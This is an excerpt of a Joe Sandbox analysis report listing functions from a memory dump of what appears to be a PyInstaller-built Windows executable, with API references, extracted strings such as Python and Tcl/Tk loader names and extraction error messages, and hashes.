RtlVirtualUnwind.KERNEL32 ref: 00007FF7CA7A99F0
IsDebuggerPresent.KERNEL32 ref: 00007FF7CA7A9A29
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7CA7A9A33
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7CA7A9A3E

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: f336cc4ee628281f12481126c86b188c106f14650002c00baa1860decbda2c10
Instruction ID: 00dd2e426002bad5361d083163e6dfe6f1aeb458ce75c1571a0537030636f3de
Opcode Fuzzy Hash: f336cc4ee628281f12481126c86b188c106f14650002c00baa1860decbda2c10
Instruction Fuzzy Hash: 9D318F32608B8195EB20DF26F8506EEB3A4FB88765F900136EE9D47B54DF38C555CB10

Function 00007FF7CA7B0B84 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7B0BD0
FindFirstFileExW.KERNEL32 ref: 00007FF7CA7B0CDA

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: fe4d16d24a501c342f9bdefd2dbf7b3c8df5536519bece05b709b84cd6c1ed58
Instruction ID: d656eb3652bd55c336a83db04dca9c53e0febc12def27aa4012eec6cd49f9ee6
Opcode Fuzzy Hash: fe4d16d24a501c342f9bdefd2dbf7b3c8df5536519bece05b709b84cd6c1ed58
Instruction Fuzzy Hash: B5B1B5A2B1878241FA60AF23B4285B9A350FB68BF5F845171EE5D07BD5DF3CE4428314

Function 00007FF7CA7B518C Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7CA7B51BA

Part of subcall function 00007FF7CA7B4908: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7B491C

_get_daylight.LIBCMT ref: 00007FF7CA7B51CB

Part of subcall function 00007FF7CA7B48A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7B48BC

_get_daylight.LIBCMT ref: 00007FF7CA7B51DC

Part of subcall function 00007FF7CA7B48D8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7B48EC

Part of subcall function 00007FF7CA7A9C58: RtlFreeHeap.NTDLL(?,?,?,00007FF7CA7B2032,?,?,?,00007FF7CA7B206F,?,?,00000000,00007FF7CA7B2535,?,?,?,00007FF7CA7B2467), ref: 00007FF7CA7A9C6E
Part of subcall function 00007FF7CA7A9C58: GetLastError.KERNEL32(?,?,?,00007FF7CA7B2032,?,?,?,00007FF7CA7B206F,?,?,00000000,00007FF7CA7B2535,?,?,?,00007FF7CA7B2467), ref: 00007FF7CA7A9C78

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CA7B541C), ref: 00007FF7CA7B5203

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: ae64d4b013316384daf219013b3406c3cfe35626df30cbdeb691f729cbc9c9de
Instruction ID: 63bd7a8fefcc0e4afcc44a7586fe947c1790870a0260412d6fd5c52c00f07757
Opcode Fuzzy Hash: ae64d4b013316384daf219013b3406c3cfe35626df30cbdeb691f729cbc9c9de
Instruction Fuzzy Hash: 04517BB2A1874286F720FF23F8A15A9A760FB5C7A6F844175EE0D43696DF3CE4408760

Function 00007FF7CA7950B0 Relevance: 157.9, APIs: 44, Strings: 46, Instructions: 364libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF7CA795C57,?,00007FF7CA79308E), ref: 00007FF7CA7950C0
GetProcAddress.KERNEL32(?,00007FF7CA795C57,?,00007FF7CA79308E), ref: 00007FF7CA795101
GetProcAddress.KERNEL32(?,00007FF7CA795C57,?,00007FF7CA79308E), ref: 00007FF7CA795126
GetProcAddress.KERNEL32(?,00007FF7CA795C57,?,00007FF7CA79308E), ref: 00007FF7CA79514B
GetProcAddress.KERNEL32(?,00007FF7CA795C57,?,00007FF7CA79308E), ref: 00007FF7CA795173
GetProcAddress.KERNEL32(?,00007FF7CA795C57,?,00007FF7CA79308E), ref: 00007FF7CA79519B
GetProcAddress.KERNEL32(?,00007FF7CA795C57,?,00007FF7CA79308E), ref: 00007FF7CA7951C3
GetProcAddress.KERNEL32(?,00007FF7CA795C57,?,00007FF7CA79308E), ref: 00007FF7CA7951EB
GetProcAddress.KERNEL32(?,00007FF7CA795C57,?,00007FF7CA79308E), ref: 00007FF7CA795213

Strings

PyUnicode_FromFormat, xrefs: 00007FF7CA795709, 00007FF7CA795725
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF7CA7955C9, 00007FF7CA7955E5
PyObject_GetAttrString, xrefs: 00007FF7CA795551, 00007FF7CA79556D
PyErr_Occurred, xrefs: 00007FF7CA795349, 00007FF7CA795365
Failed to get address for %hs, xrefs: 00007FF7CA7950D9
PyConfig_SetWideStringList, xrefs: 00007FF7CA7952A9, 00007FF7CA7952C5
Py_Finalize, xrefs: 00007FF7CA795141, 00007FF7CA79515D
PyImport_ExecCodeModule, xrefs: 00007FF7CA795411, 00007FF7CA79542D
PyImport_ImportModule, xrefs: 00007FF7CA795439, 00007FF7CA795455
Py_DecRef, xrefs: 00007FF7CA7950B6, 00007FF7CA7950D2
PyList_Append, xrefs: 00007FF7CA795461, 00007FF7CA79547D
PyObject_CallFunctionObjArgs, xrefs: 00007FF7CA795529, 00007FF7CA795545
PyUnicode_FromString, xrefs: 00007FF7CA795731, 00007FF7CA79574D
PyStatus_Exception, xrefs: 00007FF7CA795619, 00007FF7CA795635
PySys_SetObject, xrefs: 00007FF7CA795669, 00007FF7CA795685
PyUnicode_Join, xrefs: 00007FF7CA795759, 00007FF7CA795775
PyObject_Str, xrefs: 00007FF7CA7955A1, 00007FF7CA7955BD
PyConfig_Read, xrefs: 00007FF7CA795231, 00007FF7CA79524D
PyConfig_SetString, xrefs: 00007FF7CA795281, 00007FF7CA79529D
PyUnicode_DecodeFSDefault, xrefs: 00007FF7CA7956E1, 00007FF7CA7956FD
PyUnicode_AsUTF8, xrefs: 00007FF7CA795691, 00007FF7CA7956AD
PyRun_SimpleStringFlags, xrefs: 00007FF7CA7955F1, 00007FF7CA79560D
Py_PreInitialize, xrefs: 00007FF7CA7951B9, 00007FF7CA7951D5
PyErr_NormalizeException, xrefs: 00007FF7CA795321, 00007FF7CA79533D
PyConfig_SetBytesString, xrefs: 00007FF7CA795259, 00007FF7CA795275
PyModule_GetDict, xrefs: 00007FF7CA7954D9, 00007FF7CA7954F5
Py_DecodeLocale, xrefs: 00007FF7CA7950F7, 00007FF7CA795113
PyUnicode_Decode, xrefs: 00007FF7CA7956B9, 00007FF7CA7956D5
PyObject_SetAttrString, xrefs: 00007FF7CA795579, 00007FF7CA795595
PyErr_Print, xrefs: 00007FF7CA795371, 00007FF7CA79538D
PyErr_Restore, xrefs: 00007FF7CA795399, 00007FF7CA7953B5
PyEval_EvalCode, xrefs: 00007FF7CA7953C1, 00007FF7CA7953DD
PyObject_CallFunction, xrefs: 00007FF7CA795501, 00007FF7CA79551D
PyMarshal_ReadObjectFromString, xrefs: 00007FF7CA795489, 00007FF7CA7954A5
PyConfig_InitIsolatedConfig, xrefs: 00007FF7CA795209, 00007FF7CA795225
GetProcAddress, xrefs: 00007FF7CA7950E0
PyErr_Fetch, xrefs: 00007FF7CA7952F9, 00007FF7CA795315
PyConfig_Clear, xrefs: 00007FF7CA7951E1, 00007FF7CA7951FD
PyErr_Clear, xrefs: 00007FF7CA7952D1, 00007FF7CA7952ED
PyImport_AddModule, xrefs: 00007FF7CA7953E9, 00007FF7CA795405
PySys_GetObject, xrefs: 00007FF7CA795641, 00007FF7CA79565D
PyUnicode_Replace, xrefs: 00007FF7CA795781, 00007FF7CA79579D
Py_ExitStatusException, xrefs: 00007FF7CA79511C, 00007FF7CA795138
Py_IsInitialized, xrefs: 00007FF7CA795191, 00007FF7CA7951AD
PyMem_RawFree, xrefs: 00007FF7CA7954B1, 00007FF7CA7954CD
Py_InitializeFromConfig, xrefs: 00007FF7CA795169, 00007FF7CA795185

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 190572456-2007157414
Opcode ID: 3c804ccaf4812c993b4970aca99c844c8aa25bcf6244ab31ff714926eb913965
Instruction ID: 6a1d44ed736f87ffff304ba56ebd9f7ecb2b410d02acf142ee2e937d6cfa311f
Opcode Fuzzy Hash: 3c804ccaf4812c993b4970aca99c844c8aa25bcf6244ab31ff714926eb913965
Instruction Fuzzy Hash: 9E1257A494DB1391FA55BF2AB8705B4A3A0BF5C777FD454B6CC0E11290AF7CE54883A0

Function 00007FF7CA796EA0 Relevance: 119.3, APIs: 33, Strings: 35, Instructions: 280libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF7CA796EB7
GetProcAddress.KERNEL32 ref: 00007FF7CA796EFD
GetProcAddress.KERNEL32 ref: 00007FF7CA796F22
GetProcAddress.KERNEL32 ref: 00007FF7CA796F47
GetProcAddress.KERNEL32 ref: 00007FF7CA796F6F
GetProcAddress.KERNEL32 ref: 00007FF7CA796F97
GetProcAddress.KERNEL32 ref: 00007FF7CA796FBF
GetProcAddress.KERNEL32 ref: 00007FF7CA796FE7
GetProcAddress.KERNEL32 ref: 00007FF7CA79700F

Strings

Tcl_GetVar2, xrefs: 00007FF7CA797195, 00007FF7CA7971B1
Tk_Init, xrefs: 00007FF7CA79739D, 00007FF7CA7973B9
Tcl_MutexLock, xrefs: 00007FF7CA797055, 00007FF7CA797071
Failed to get address for %hs, xrefs: 00007FF7CA796ED0
Tcl_Init, xrefs: 00007FF7CA796EB0, 00007FF7CA796EC9
Tcl_GetString, xrefs: 00007FF7CA79720D, 00007FF7CA797229
Tcl_FindExecutable, xrefs: 00007FF7CA796F18, 00007FF7CA796F34
Tcl_ThreadAlert, xrefs: 00007FF7CA79716D, 00007FF7CA797189
Tcl_JoinThread, xrefs: 00007FF7CA79702D, 00007FF7CA797049
Tcl_GetCurrentThread, xrefs: 00007FF7CA797005, 00007FF7CA797021
Tcl_FinalizeThread, xrefs: 00007FF7CA796F8D, 00007FF7CA796FA9
Tcl_NewStringObj, xrefs: 00007FF7CA797235, 00007FF7CA797251
Tcl_SetVar2Ex, xrefs: 00007FF7CA797285, 00007FF7CA7972A1
Tcl_EvalObjv, xrefs: 00007FF7CA797325, 00007FF7CA797341
Tcl_Alloc, xrefs: 00007FF7CA79734D, 00007FF7CA797369
Tcl_CreateInterp, xrefs: 00007FF7CA796EF3, 00007FF7CA796F0F
Tcl_DoOneEvent, xrefs: 00007FF7CA796F3D, 00007FF7CA796F59
Tcl_EvalFile, xrefs: 00007FF7CA7972D5, 00007FF7CA7972F1
Tcl_NewByteArrayObj, xrefs: 00007FF7CA79725D, 00007FF7CA797279
Tcl_ConditionFinalize, xrefs: 00007FF7CA7970CD, 00007FF7CA7970E9
Tcl_ConditionNotify, xrefs: 00007FF7CA7970F5, 00007FF7CA797111
Tcl_EvalEx, xrefs: 00007FF7CA7972FD, 00007FF7CA797319
Tcl_SetVar2, xrefs: 00007FF7CA7971BD, 00007FF7CA7971D9
Tcl_MutexUnlock, xrefs: 00007FF7CA79707D, 00007FF7CA797099
Tk_GetNumMainWindows, xrefs: 00007FF7CA7973C5, 00007FF7CA7973E1
Tcl_Finalize, xrefs: 00007FF7CA796F65, 00007FF7CA796F81
Tcl_ThreadQueueEvent, xrefs: 00007FF7CA797145, 00007FF7CA797161
Tcl_CreateThread, xrefs: 00007FF7CA796FDD, 00007FF7CA796FF9
GetProcAddress, xrefs: 00007FF7CA796ED7
Tcl_CreateObjCommand, xrefs: 00007FF7CA7971E5, 00007FF7CA797201
Tcl_Free, xrefs: 00007FF7CA797375, 00007FF7CA797391
Tcl_GetObjResult, xrefs: 00007FF7CA7972AD, 00007FF7CA7972C9
Tcl_MutexFinalize, xrefs: 00007FF7CA7970A5, 00007FF7CA7970C1
Tcl_DeleteInterp, xrefs: 00007FF7CA796FB5, 00007FF7CA796FD1
Tcl_ConditionWait, xrefs: 00007FF7CA79711D, 00007FF7CA797139

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 190572456-3427451314
Opcode ID: ea7dfca1e90abb6d4d8c6eb1b798acaf406610e772db9aaa2d8df727af0780f5
Instruction ID: 9b3d05770ecc89beee14b381fb1cea03eb6316f6359063decbe3b36aff332833
Opcode Fuzzy Hash: ea7dfca1e90abb6d4d8c6eb1b798acaf406610e772db9aaa2d8df727af0780f5
Instruction Fuzzy Hash: 94E1C6A490DB4790FA59BF26B9705B4A2A5BF5C772FC851F2DC0D026A5EF3CA548C320

Function 00007FF7CA7977D0 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 115COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7CA7986B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7CA793FA4,00000000,00007FF7CA791925), ref: 00007FF7CA7986E9

ExpandEnvironmentStringsW.KERNEL32(?,00007FF7CA797C97,?,?,FFFFFFFF,00007FF7CA793834), ref: 00007FF7CA79782C

Part of subcall function 00007FF7CA7926C0: MessageBoxW.USER32 ref: 00007FF7CA792736

Strings

LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF7CA79789D
LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF7CA79796D
\, xrefs: 00007FF7CA797861
%.*s, xrefs: 00007FF7CA79790C
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF7CA7978D9
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF7CA797803
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF7CA797840
CreateDirectory, xrefs: 00007FF7CA797974

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: 5adf1a7b4f365c991e592d6daa758356e56cb82b092043d5b28c068608273831
Instruction ID: 5dc50df7de2b082dede527c16f825fa99ee6ee66bed4b58758fc4901ef324e6a
Opcode Fuzzy Hash: 5adf1a7b4f365c991e592d6daa758356e56cb82b092043d5b28c068608273831
Instruction Fuzzy Hash: 59419351B2D64285FA50BF36F871AB9E251FF9C7B2FC050B2DA4E42695EE2CE5048360

Function 00007FF7CA7920F0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF7CA79211B
SelectObject.GDI32 ref: 00007FF7CA792162
DrawTextW.USER32 ref: 00007FF7CA792185
SelectObject.GDI32 ref: 00007FF7CA79219B
ReleaseDC.USER32 ref: 00007FF7CA7921AB
MoveWindow.USER32 ref: 00007FF7CA7921FB
MoveWindow.USER32 ref: 00007FF7CA79223B
MoveWindow.USER32 ref: 00007FF7CA79228E
MoveWindow.USER32 ref: 00007FF7CA7922D6

Strings

P%, xrefs: 00007FF7CA79216F

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: d5dd136cfe9f7ccbcb0fe4cae99cf14dfe1cc9f89db7d8019ba122c6a34f6d98
Instruction ID: bb9592179217671ab7e59fdcb074e835e294c9e149e9b733d173982842dd1335
Opcode Fuzzy Hash: d5dd136cfe9f7ccbcb0fe4cae99cf14dfe1cc9f89db7d8019ba122c6a34f6d98
Instruction Fuzzy Hash: 3C51D566614BA186E624AF32B4185BAF7A1F798B72F404131EFDE43694DF3CD085CB20

Function 00007FF7CA7A55A0 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 493COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A55E3
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A59D0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A5C6C

Strings

-, xrefs: 00007FF7CA7A5679
:, xrefs: 00007FF7CA7A579C
p, xrefs: 00007FF7CA7A570D
f, xrefs: 00007FF7CA7A5705
p, xrefs: 00007FF7CA7A5695

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 21cbc72c7e6dc269be11e21f83bf2085e3383c5e1ad4ae35147280bf7774980f
Instruction ID: 185b8e073571c2a14cb72edb5298ba3c382f4b2300b7a415851c7b6c7138ea9a
Opcode Fuzzy Hash: 21cbc72c7e6dc269be11e21f83bf2085e3383c5e1ad4ae35147280bf7774980f
Instruction Fuzzy Hash: 6612B362E0C243A6FB207E16F16427AF651FB48772FD49075E689476C4DB3CED948B20

Function 00007FF7CA7A02E8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A0328
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A06F0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A098F

Strings

p, xrefs: 00007FF7CA7A03CD
f, xrefs: 00007FF7CA7A042A
f, xrefs: 00007FF7CA7A0575
p, xrefs: 00007FF7CA7A0432
f, xrefs: 00007FF7CA7A03C0

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: 1ce7302e2fd45bb0c0c54093c0ec2c5d292275181cf657796836d36714c503ba
Instruction ID: 9729fdf35d9b8f656d733ac7177f68536e39b046f9d3c7d0175419ed0c409069
Opcode Fuzzy Hash: 1ce7302e2fd45bb0c0c54093c0ec2c5d292275181cf657796836d36714c503ba
Instruction Fuzzy Hash: 6B129722E0C143A6FB607E16F0786B9F251FB84766FC45875E689466C4DF3CEC828B64

Function 00007FF7CA791050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 111COMMON

Download Yara Rule

Strings

malloc, xrefs: 00007FF7CA7910FC
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7CA7910C5
fread, xrefs: 00007FF7CA7911D7
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7CA7910F5
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7CA791097
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7CA7911D0
fseek, xrefs: 00007FF7CA7910CC

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: 307eab48624233609503fb27858423c19ddbb3df3d9c7fa52bd05a06e8c331e4
Instruction ID: 046e6b8dfbe1b476ce11b18dcc59facd59fff3d49f15ec2a8e9a86414fe738cd
Opcode Fuzzy Hash: 307eab48624233609503fb27858423c19ddbb3df3d9c7fa52bd05a06e8c331e4
Instruction Fuzzy Hash: 98419261B4864251FA50BF37B8609B6E391BB58BE6FC440B2DD1D07B95DF3CE4158350

Function 00007FF7CA791440 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 100COMMON

Download Yara Rule

Strings

malloc, xrefs: 00007FF7CA7914E0
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7CA7914A9
fread, xrefs: 00007FF7CA7915A1
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7CA7914D9
